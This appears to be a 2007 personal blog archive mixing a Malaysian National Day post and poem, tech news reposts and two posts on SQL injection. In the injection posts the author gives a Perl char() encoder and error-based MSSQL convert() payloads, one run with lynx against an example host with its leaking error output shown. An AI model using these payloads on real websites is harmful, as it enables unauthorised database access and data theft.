Friday, August 31, 2007

Happy 50th Independence Day Malaysia

Every 31st of August every year, it is the day when all Malaysian come together to celebrate their nation’s Independence Day - some of us call it National Day. This year Malaysia will again celebrate the birthday - 50 years Independence to be exact from Japanese and British colonize.

Malaysia has come a long way to come to where its now - a modern nation full of vibrant, colorful culture and people. From a nation that depends so much on agriculture to a developing country full of promise in many areas of the economy. Malaysia has achieved so many things over the years.

Today, I am calling out to all Malaysian bloggers - let us show some love to our nation and display our patriotism on our blogs. Let us be proud to be Malaysian and show the same pride, courage and honor like our 'Bapa Kemerdekaan' Tunku Abdul Rahman and all the previous Malaysian citizens during their time.


Perjuangan Yang Belum Selesai

Sesungguhnya tidak ada yang lebih menyayatkan
dari melihat bangsaku dijajah
Tidak ada yang lebih menyedihkan
dari membiarkan bangsaku dihina

Air mata tiada ertinya
sejarah silam tiada maknanya
sekiranya bangsa tercinta terpinggir
dipersenda dan dilupakan

Bukan kecil langkah wira bangsa
para pejuang kemerdekaan
bagi menegakkan kemuliaan
dan darjat bangsa
selangkah beerti mara
mengharung sejuta dugaan

Biarkan bertatih
asalkan langkah itu yakin dan cermat
bagi memastikan negara
merdeka dan bangsa terpelihara
air mata sengsara
mengiringi setiap langkah bapa-bapa kita

Tugas kita bukan kecil
kerana mengisi kemrdekaan
rupanya lebih sukar dari bermandi
keringat dan darah menuntutnya

Lagi pula apalah ertinya kemerdekaan
kalau bangsaku asyik mengia dan menidakkan,
mengangguk dan membenarkan,
kerana sekalipun bangganya negara
kerana makmur dan mewahnya,
bangsaku masih melata
dan meminta-minta di negaranya sendiri

Bukan kecil tugas kita
meneruskan perjuangan kemerdekaan kita
kerana rupanya selain memerdekakan,
mengisi kemerdekaan itu jauh lebih sengsara

Bangsaku bukan kecil hati dan jiwanya
bukankah sejak zaman berzaman
mereka menjadi pelaut, pengembara
malah penakluk terkemuka?
Bukankah mereka sudah mengembangkan sayap,
menjadi pedagang dan peniaga

selain menjadi ulama dan
ilmuan terbilang?
Bukankah bangsaku pernah mengharung
samudera menjajah dunia yang tak dikenal
Bukankah mereka pernah menjadi
wira serantau yang tidak mengenal
erti takut dan kematian?
Di manakah silapnya hingga bangsaku
berasa begitu kecil dan rendah diri?
Apakah angkara penjajah?
Lalu bangsaku mulai
melupakan kegemilangan silam
dan sejarah gemilang membina empayar

Tugas kita belum selesai rupanya
bagi memartabat dan
memuliakan bangsa
kerana hanya bangsa yang berjaya
akan sentiasa dihormati

Rupanya masih jauh dan berliku jalan kita
bukan sekadar memerdeka dan mengisinya
tetapi mengangkat darjat dan kemuliaan
buat selama-lamanya

Hari ini, jalan ini pasti semakin berliku
kerana masa depan belum tentu
menjanjikan syurga
bagi mereka yang lemah dan mudah kecewa

Perjuangan kita belum selesai
kerana hanya yang cekal dan tabah
dapat membina mercu tanda
bangsanya yang berjaya

Dr. Mahathir Mohamad
Mei 1996

Tuesday, August 28, 2007

SQLinjection -- convert method (continue)

My friend told me to encode some of the injection parameter from ascii to hex code. So I write a small perl script to do the job for me:

shaolinint@slash$ cat ascii2hex.pl
#! /usr/bin/perl
my $cmd = shift or die "usage: $0 string\n";
$cmd =~ s/(.)/ sprintf("char(0x%2x)%2B",ord($1)) /ge;
chomp($cmd);
print "$cmd\n";

shaolinint@slash$ perl ascii2hex.pl table1 char(0x74)%2Bchar(0x61)%2Bchar(0x62)%2Bchar(0x6c)%2Bchar(0x65)%2Bchar(0x31)

I had to removed the '%2B' at the end of the code above to make it work on real injections:

shaolinint@slash$ lynx -dump http://www.target.com/hello.aspx?id=(convert(varchar(255),(SELECT+top+1+table_name+FROM+
information_schema.tables+WHERE+table_name+NOT+IN(char(0x74)%2Bchar(0x61)%2Bchar(0x62)
%2Bchar(0x6c)%2Bchar(0x65)%2Bchar(0x31))))--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '{]table2 to a column of data type int.

The injections parameter working fine for me. But there is small problem, I still can not get the data from all tables and columns at the moment.

Monday, August 27, 2007

SQLinjection -- convert method

Last Saturday I started Portal Security Assessment for one of my client here in Saudi. And last night I completed a validation of all my findings. What make interesting during the assessment is, I found a potential SQL Injection on the portal which is a good thing for me... But the challenge is to enumerate tables and columns manually since most of tools that supposed to get the information failed to do so.... So I tried manually and play around with the injections but I still couldn't get what I want.

During my homeworks, I found a few interesting ways to print some of the informations. If you have any idea how to use following methods to enumerate tables and column, please let me know.

convert(int,convert(varchar,INJECTION_PARAMETER_HERE)) (convert(varchar(255),(INJECTION_PARAMETER_HERE)))--

For example:

http://microsoft.com/hello.asp?id=convert(int,convert(varchar,@@version))

http://microsoft.com/hello.asp?id=(convert(varchar(255),(@@version)))--

Saturday, August 25, 2007

Chinese Pirates Copy iPhone, Make Improvements

"Popular Science notes that manufacturers in China duplicate many well-know products. This includes the Apple iPhone, imitations of which are rolling off the assembly line already. That might actually be a good thing for some users, who might enjoy the user experience of China's own miniOne. 'It ran popular mobile software that the iPhone wouldn't. It worked with nearly every worldwide cellphone carrier, not just AT&T, and not only in the U.S. It promised to cost half as much as the iPhone and be available to 10 times as many consumers.' The cloned iPhone uses a Linux-based system. 'The cloners hire a team of between 20 and 40 engineers to begin decoding the circuit boards. At the same time, coders start to develop an operating system for the phone with a similar feature set. (The typical cloner either uses off-the-shelf code, writes something entirely new, or modifies a publicly available Linux-based system.)' Using the iPhone as an example, the PopSci site walks through the process of making imitation technology."

Chaos Communication Congress 2007: Call for Participation

The 24th Chaos Communication Congress (24C3) is the annual four-day conference organized by the Chaos Computer Club (CCC) in Berlin, Germany. First held in 1984, it since has established itself as “the European Hacker Conference”. Lectures and workshops on a multitude of topics attract a diverse audience of thousands of hackers, scientists, artists, and utopists from all around the world. The 24C3s slogan is Volldampf voraus! – the German equivalent of “full steam ahead” – a particular request for talks and projects featuring forward looking hands-on topics. The Chaos Computer Club has always encouraged creative and unorthodox interaction with technology and society, in the good tradition of the real meaning of “hacking”.

Topics
The 24C3 conference program is roughly divided into six general categories. These categories serve as guidelines for your submissions (and later as a means of orientation for your prospective audience). However, it is not mandatory for your talk to exactly match the descriptions below. Anything that is interesting and/or funny will be taken into consideration.

More info here and here.

Friday, August 24, 2007

What Hackers Learn that the Rest of Us Don't

Sergey Bratus contrasts developers and academic programs with what "hackers" do on his article titled "What Hackers Learn that the Rest of Us Don't" in the July/August 2007 IEEE Security and Privacy magazine. For example:

  • Developers are under pressue to follow standard solutions, or the path of least resistance to "just making it work."

  • Developers are de facto trained to ignore or avoid infrequent border cases and might not understand their effects.

  • Developers might receive explicit directions to ignore specific problems as being in other developers' domains

  • Developers often lack tools for examining the full state of the system, let alone changing it outside of the limited API.

  • If you understand this statements:

    "In a typical academic setting... an ever-increasing number of topics limits the time the students and teachers can allocate for any specific one."

    oh wait! its FTV midnight hot......... I'll make it quick. Read this posts.